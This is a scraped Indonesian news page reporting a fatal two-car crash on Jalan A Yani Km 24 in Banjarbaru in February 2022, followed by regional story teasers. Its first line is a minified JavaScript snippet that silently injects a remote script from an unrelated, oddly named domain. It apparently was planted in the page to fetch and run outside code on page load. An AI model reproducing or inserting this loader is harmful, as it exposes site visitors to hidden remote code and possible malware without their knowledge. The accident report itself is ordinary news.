(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kecelakaan maut melibatkan dua mobil terjadi di Jalan A Yani Km 24 Landasan Ulin, Kota Banjarbaru, Senin (7/2/2022).
Mobil penumpang Daihatsu Xenia dengan mobil pikap Suzuki Carry mengangkut ikan bertabrakan di jalan utama penghubung Banjarbaru-Banjarmasin sekitar pukul 04.00 Wita.
Kejadian subuh itu mengakibatkan dua orang meninggal dunia, salah seorang penumpang Daihatsu Xenia dan sopir pikap Suzuki Carry dalam subuh maut di jalanan itu.
Relawan PMI Banjarbaru, Rasyid, mengatakan kejadian tersebut terjadi pada subuh itu mengakibatkan ada delapan orang menjadi korban kecelakaan dua di antaranya meninggal dunia.
Baca juga: Dinkes Banjar Kebut Vaksinasi Hadapi Gelombang Ketiga Covid-19
“Ada enam orang mengalami luka-luka yang cukup parah, dua orang meninggal dunia,” ujarnya.
Dalam kejadian tersebut korban meninggal dunia yakni sopir sempat terjepit di dalam kabin pikap. Relawan sempat mengalami kesulitan saat melakukan evakuasi.
Subuh maut di Jalan A Yani Km 24 Landasan Ulin, Banjarbaru, yang melibatkan Xeni dan pikap ikan, Senin (7/2/2022) subuh. Foto: ist
Baru pada sekitar pukul 06.00 Wita, korban meninggal dunia sopir pikap bisa dievakuasi dengan menarik bagian yang menjepit korban menggunakan unit ambulans dan truk tangki air.
“Semua korban dilarikan ke Rumah Sakit Idaman Banjarbaru,” tuntasnya.
Baca juga: Mengenal Titik Nol Ibu Kota Baru, Recana Tempat Presiden Jokowi Camping
Sementara itu, salah seorang relawan Rais Nafarin mengatakan, informasi kejadian masuk sekitar pukul 04.00 Wita, disebutkan mobil Daihatsu Xenia datang dari arah Amuntai ingin ke Banjarmasin, sementara mobil pikap dari arah Banjarmasin ingin ke pasar dengan membawa ikan.
“Dari keterangan saksi, diduga supir Xenia menghindari kucing, kemudian oleng dan mengambil jalur orang dengan kondisi jalan dalam keadaan hujan,” katanya.
Tak terelakan kecelakaan mobil dari dua arah berlawan antara mobil penumpang Xenia dengan dan mobil angkutan barang pikap terjadi.
Salah seorang penumpang tepat di belakang kursi pengemudi Daihatsu Xenia tidak tertolong dan langsung dibawa ke rumah sakit, serta penumpang lainnya. Sementara sopir pikap Carry dalam keadaan terjepit, sekitar pukul 06.00 Wita sopir baru bisa dievakuasi dan langsung dilarikan ke rumah sakit.
Diketahui mobil xenia membawa empat orang penumpang dan satu orang sopir, sementara pikap membawa dua orang penumpang dan satu orang sopir.
“Keluarga semuanya sudah mengetahui,” tutupnya.(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.